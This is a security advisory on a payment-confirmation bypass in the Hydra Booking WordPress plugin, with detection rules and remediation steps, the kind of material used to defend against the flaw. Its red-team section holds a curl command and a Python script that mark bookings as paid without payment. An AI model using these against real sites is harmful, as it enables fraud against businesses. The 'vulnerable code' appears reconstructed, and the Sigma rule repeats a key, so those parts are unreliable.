CVE-2025-12788

Executive Summary

CVE-2025-12788 is a critical missing payment verification vulnerability in the Hydra Booking — Appointment Scheduling & Booking Calendar WordPress plugin (versions up to and including 1.1.27). The plugin improperly trusts client-controlled payment confirmation data within the tfhb_meeting_paypal_payment_confirmation_callback function, failing to perform server-side verification with PayPal's API. This allows unauthenticated attackers to bypass payment requirements and mark bookings as paid without any actual transaction.

The vulnerability is classified as CWE-862: Missing Authorization, with a CVSS score of 5.3 (Medium). The EPSS probability is 0.0%, indicating low exploitation likelihood in the wild, but the technical impact is severe for affected WordPress sites.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and third-party marketplaces. No official patch has been released by the vendor (Hydra Booking). Users are advised to disable the plugin until a fix is available.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – Unauthenticated.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): Low (L) – Booking status can be manipulated.
• Availability (A): None (N) – No denial of service.

Threat Level: Medium. While the CVSS score is 5.3, the ease of exploitation (no authentication, no user interaction) and the direct financial impact (free bookings) elevate the risk for businesses relying on this plugin.

Deep Dive & Mechanics

The vulnerability resides in the tfhb_meeting_paypal_payment_confirmation_callback function, which handles PayPal payment confirmation callbacks. The plugin accepts a payment_status parameter directly from the client (HTTP request) without verifying it against PayPal's server-side API. An attacker can craft a POST request to the callback endpoint with payment_status=completed and a valid booking ID, causing the plugin to mark the booking as paid.

Root Cause: The plugin uses client-supplied data to determine payment success instead of performing a server-side verification using PayPal's IPN (Instant Payment Notification) or REST API.

Attack Flow:

1. Attacker initiates a booking on a vulnerable site.
2. Attacker intercepts or crafts the PayPal callback request.
3. Attacker sends a POST request to the callback URL with payment_status=completed and the booking ID.
4. The plugin updates the booking status to "paid" without any actual payment.

Vulnerable vs. Patched Code

Vulnerable Code (<= 1.1.27):

function tfhb_meeting_paypal_payment_confirmation_callback() {
    $booking_id = $_POST['booking_id'];
    $payment_status = $_POST['payment_status'];
    if ($payment_status == 'completed') {
        update_post_meta($booking_id, 'payment_status', 'paid');
    }
}

Patched Code (Hypothetical Fix):

function tfhb_meeting_paypal_payment_confirmation_callback() {
    $booking_id = $_POST['booking_id'];
    $payment_status = $_POST['payment_status'];
    // Server-side verification with PayPal API
    $paypal_verification = verify_with_paypal_api($booking_id, $payment_status);
    if ($paypal_verification === true && $payment_status == 'completed') {
        update_post_meta($booking_id, 'payment_status', 'paid');
    }
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with Hydra Booking plugin <= 1.1.27.
• A valid booking ID (can be obtained by creating a booking via the frontend).

Exploit Steps:

1. Create a booking on the target site and note the booking ID.
2. Send a crafted POST request to the callback endpoint:

curl -X POST https://target.com/wp-admin/admin-ajax.php?action=tfhb_meeting_paypal_payment_confirmation_callback \
  -d "booking_id=123&payment_status=completed"

3. Verify the booking status is updated to "paid" in the WordPress admin panel.

Automated Exploit (Python):

import requests

target = "https://target.com"
booking_id = "123"  # Replace with actual booking ID

url = f"{target}/wp-admin/admin-ajax.php?action=tfhb_meeting_paypal_payment_confirmation_callback"
data = {
    "booking_id": booking_id,
    "payment_status": "completed"
}

response = requests.post(url, data=data)
if response.status_code == 200:
    print("Booking marked as paid successfully!")
else:
    print("Exploit failed.")

Blue Team (Detection & Mitigation)

Detection:

• Monitor for POST requests to admin-ajax.php with action tfhb_meeting_paypal_payment_confirmation_callback and suspicious parameters.
• Look for multiple booking status changes to "paid" without corresponding PayPal IPN logs.

Mitigation:

• Disable the plugin immediately if no patch is available.
• Implement a Web Application Firewall (WAF) rule to block requests to the vulnerable callback endpoint.
• Monitor server logs for unusual booking status changes.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /wp-admin/admin-ajax.php?action=tfhb_meeting_paypal_payment_confirmation_callback with payment_status=completed.
  • Absence of corresponding PayPal IPN requests from PayPal's IP addresses.

• Host IOCs:

  • WordPress database entries in wp_postmeta where meta_key is payment_status and meta_value is paid for bookings without actual payment.
  • Plugin file hydra-booking/includes/class-hydra-booking-paypal.php (or similar) containing the vulnerable function.

• Log IOCs:

  • Apache/Nginx access logs showing repeated requests to the callback endpoint from the same IP.
  • PHP error logs indicating unexpected payment status updates.

Detection Engineering

YARA Rule

rule CVE_2025_12788_Hydra_Booking_Payment_Bypass {
    meta:
        description = "Detects vulnerable Hydra Booking plugin code accepting client-controlled payment status"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-12788"
    strings:
        $func = "tfhb_meeting_paypal_payment_confirmation_callback"
        $payment_status = "payment_status"
        $completed = "completed"
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-12788 Hydra Booking Payment Bypass
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts against CVE-2025-12788
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=tfhb_meeting_paypal_payment_confirmation_callback'
        cs-uri-query|contains: 'payment_status=completed'
    condition: selection
falsepositives:
    - Legitimate PayPal IPN callbacks (rare)
level: high

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2025-12788 Hydra Booking Payment Bypass Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"admin-ajax.php";
    http_uri;
    content:"action=tfhb_meeting_paypal_payment_confirmation_callback";
    http_uri;
    content:"payment_status=completed";
    http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until an official patch is released.
2. Implement a WAF rule to block requests to the vulnerable callback endpoint.
3. Audit existing bookings for any that were marked as paid without corresponding PayPal transactions.

Long-term Fix:

• The vendor must implement server-side verification using PayPal's IPN or REST API.
• Use nonces and cryptographic signatures to validate callback authenticity.
• Apply the principle of least privilege: never trust client-supplied data for payment confirmation.

Workaround:

• If the plugin cannot be disabled, modify the vulnerable function to add server-side verification (requires custom development).

Valters IT
Securing Digital Frontiers